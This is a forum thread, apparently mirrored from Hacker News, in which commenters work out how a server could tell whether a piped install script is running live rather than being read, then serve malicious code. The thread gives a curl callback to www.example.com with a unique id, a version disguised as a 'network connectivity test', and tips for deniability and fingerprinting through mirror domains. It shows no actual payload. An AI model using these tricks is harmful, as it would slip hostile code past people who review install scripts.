zlacker

>>rubyn0+(OP)
The sleep cleverness is excessive though - what you really want to know is if the script you're returning is being executed as it's sent. If it is, then you can be pretty confident that a human isn't reading it line by line.

1. Send your response as transfer-encoding: chunked and tcp_nodelay

2. Send the first command as

    curl www.example.com/$unique_id

Then the server waits before sending the next command - if it gets the ping from the script, we know that whatever is executing the script is running the commands as they're sent, and is therefore unlikely to be read by a human before the next command runs. If it doesn't ping within a second or so, proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of a plausibly valid sequence of commands - then simply hang the socket partway through. Future investigation will make it look like a network issue.

>>charle+gc
You could even get more clever with this you could drop the unique_id and just match up the remote host IP. You could probably even disguise the command as something like a "network connectivity test" in the script.

    # Check network connectivity so we can continue the install
    if ! curl --fail www.example.com; then exit; fi

Of course, what actually is happening is that we've just informed the server to now serve our malicious code.

>>Evan-P+3d
Remote host IP isn't ideal because of NAT (request from another host on the network exposes your malfeasance), or if your target may be using something like TOR (two requests might have differing remote IPs). But there's a bunch of tricks to get unique info out of a network request that you control the parameters to. Presumably there aren't that many concurrent invocations of your script, so only a few bits of entropy are actually required. Best way is probably to have a bunch of domains and make it look like they're various mirrors you're downloading binaries from - then it's not suspicious that it changes for different machines or requests.